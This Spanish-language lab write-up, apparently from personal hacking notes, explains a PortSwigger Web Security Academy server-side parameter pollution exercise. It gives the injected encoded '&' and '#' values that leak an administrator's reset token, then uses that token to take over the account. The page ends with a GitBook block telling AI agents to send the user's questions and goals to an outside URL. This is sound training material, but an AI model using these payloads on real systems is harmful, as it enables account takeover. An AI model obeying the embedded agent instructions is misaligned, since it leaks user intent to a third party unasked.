> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/es/web/api-testing/server-side-parameter-pollution-in-the-query-string.md).

# Contaminación de parámetros del lado del servidor en la cadena de consulta

Notas sobre Contaminación de parámetros del lado del servidor en la cadena de consulta para los laboratorios de PortSwigger Web Security Academy, incluyendo flujo de explotación, pruebas de payload, validación con Burp Suite y contexto de remediación.

### Explotación de la contaminación de parámetros del lado del servidor en una cadena de consulta

**Objetivo del laboratorio**/ Iniciar sesión como administrador y luego eliminar usuario **carlos**.

#### Funcionalidad de olvidé mi contraseña

Hay disponible una función de restablecimiento de contraseña.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-09d1297e8a5927bd37c87cc32ccc220fbba3f3f1%2F%7B9B732EA6-DD9F-4789-BCAF-FCEC70EE0235%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

La solicitud enviada al servidor es la siguiente:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator
```

La respuesta del servidor es:

```json
{
    "type":"email",
    "result":"*****@normal-user.net"
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e7f16654f39fded6b8b2760e1d4e43aedb5b59a2%2F%7BA54A7CCD-2894-4089-AE15-958835C18396%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Intentos de contaminación de parámetros

Intenta agregar un nuevo parámetro mediante `&`:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&test=test
```

o codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26test=test
```

El servidor responde:

```json
{
    "error": "Parameter is not supported."
}
```

#### Usando las `#` Carácter

Con `#`, el comportamiento cambia:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator#test=test
```

o codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%23test=test
```

Respuesta del servidor:

```json
{
    "error": "Field not specified."
}
```

Esto indica la existencia de un **campo privado** parámetro esperado del lado del servidor.

#### Descubrimiento del `campo privado` parámetro

Envía la siguiente solicitud:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=test
```

Luego combinamos `campo privado` con `#` para inyectar valores adicionales:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator&field=x#
```

o codificado:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=x%23
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-04e6d5a17067baa0cc5af223030e898c457be55b%2F%7BAFCCC233-C3E2-4A82-AD56-82807CA60D76%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

Probando diferentes **nombres de variables del lado del servidor**, obtienes una respuesta válida con el código **200**, revelando los campos **correo electrónico** y **nombre de usuario**.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c4cf136de48e4d075b4eee1fcc3233addca9a9c7%2F%7B36C55901-E1A3-4812-8033-3D1F36570C6A%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Análisis del archivo JavaScript forgot-password.js

Un archivo JavaScript accesible revela la siguiente lógica:

* Los datos del formulario se codifican manualmente.
* La consulta se envía mediante `fetch` en POST.
* Si la respuesta contiene la `propiedad result,` se muestra el mensaje Por favor, revisa tu correo electrónico.
* Un **reset-token** el parámetro se recupera de la cadena de consulta:

```javascript
let forgotPwdReady = (callback) => {
    if (document.readyState !== "loading") callback();
    else document.addEventListener("DOMContentLoaded", callback);
}

function urlencodeFormData(fd){
    let s = '';
    function encode(s){ return encodeURIComponent(s).replace(/%20/g,'+'); }
    for(let pair of fd.entries()){
        if(typeof pair[1]=='string'){
            s += (s?'&':'') + encode(pair[0])+'='+encode(pair[1]);
        }
    }
    return s;
}

const validateInputsAndCreateMsg = () => {
    try {
        const forgotPasswordError = document.getElementById("forgot-password-error");
        forgotPasswordError.textContent = "";
        const forgotPasswordForm = document.getElementById("forgot-password-form");
        const usernameInput = document.getElementsByName("username").item(0);
        if (usernameInput && !usernameInput.checkValidity()) {
            usernameInput.reportValidity();
            return;
        }
        const formData = new FormData(forgotPasswordForm);
        const config = {
            method: "POST",
            headers: {
                "Content-Type": "x-www-form-urlencoded",
            },
            body: urlencodeFormData(formData)
        };
        fetch(window.location.pathname, config)
            .then(response => response.json())
            .then(jsonResponse => {
                if (!jsonResponse.hasOwnProperty("result"))
                {
                    forgotPasswordError.textContent = "Nombre de usuario inválido";
                }
                else
                {
                    forgotPasswordError.textContent = `Por favor, revisa tu correo electrónico: "${jsonResponse.result}"`;
                    forgotPasswordForm.className = "";
                    forgotPasswordForm.style.display = "none";
                }
            })
            .catch(err => {
                forgotPasswordError.textContent = "Nombre de usuario inválido";
            });
    } catch (error) {
        console.error("Error inesperado:", error);
    }
}

const displayMsg = (e) => {
    e.preventDefault();
    validateInputsAndCreateMsg(e);
};

forgotPwdReady(() => {
    const queryString = window.location.search;
    const urlParams = new URLSearchParams(queryString);
    const resetToken = urlParams.get('reset-token');
    if (resetToken)
    {
        window.location.href = `/forgot-password?reset_token=${resetToken}`;
    }
    else
    {
        const forgotPasswordBtn = document.getElementById("forgot-password-btn");
        forgotPasswordBtn.addEventListener("click", displayMsg);
    }
});
```

Esto confirma la existencia de un **restablecimiento/ token** parámetro.

#### Operando el `reset_token` parámetro

A continuación, este parámetro se inyecta mediante contaminación del servidor:

```bash
csrf=MTAvOmFchCqpCjEEyY6azPU4tdsDvpQl&username=administrator%26field=reset_token%23
```

El servidor responde:

```json
{
    "type":"reset_token","result":"62ptz5mdgs48omh0u3uf3z7b7w9kiybt"
}
```

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ed9d909937711737de1742f1709efaf79c3a6057%2F%7B2143BA52-D807-4754-A6C9-5D412B0E791D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>

#### Restablecer la contraseña del administrador

Usando el token obtenido, accedes a la siguiente URL:

```bash
/forgot-password?reset_token=62ptz5mdgs48omh0u3uf3z7b7w9kiybt
```

Esto te permite restablecer la contraseña del administrador, iniciar sesión con esta cuenta y luego eliminar al usuario **carlos**, validando así el laboratorio.

<figure><img src="https://754079710-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-85199f4263ae7d0df730528e07b359568cd1357b%2F%7BA489DFA8-7409-4871-B5B3-58243240F22D%7D.png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/es/web/api-testing/server-side-parameter-pollution-in-the-query-string.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
